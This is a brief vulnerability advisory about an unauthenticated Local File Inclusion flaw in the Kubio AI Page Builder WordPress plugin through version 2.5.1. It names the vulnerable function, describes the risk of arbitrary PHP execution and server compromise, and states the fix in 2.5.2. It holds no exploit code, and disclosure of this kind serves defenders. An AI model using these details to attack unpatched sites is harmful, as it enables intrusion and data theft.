Readycheck to confirm it

The Kubio AI Page Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.5.1 via thekubio_hybrid_theme_load_template function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

Impact

Unauthenticated attackers can include and execute arbitrary files through the kubio_hybrid_theme_load_template function, allowing arbitrary PHP code execution and potential complete server compromise.

Fix

Fixed in 2.5.2
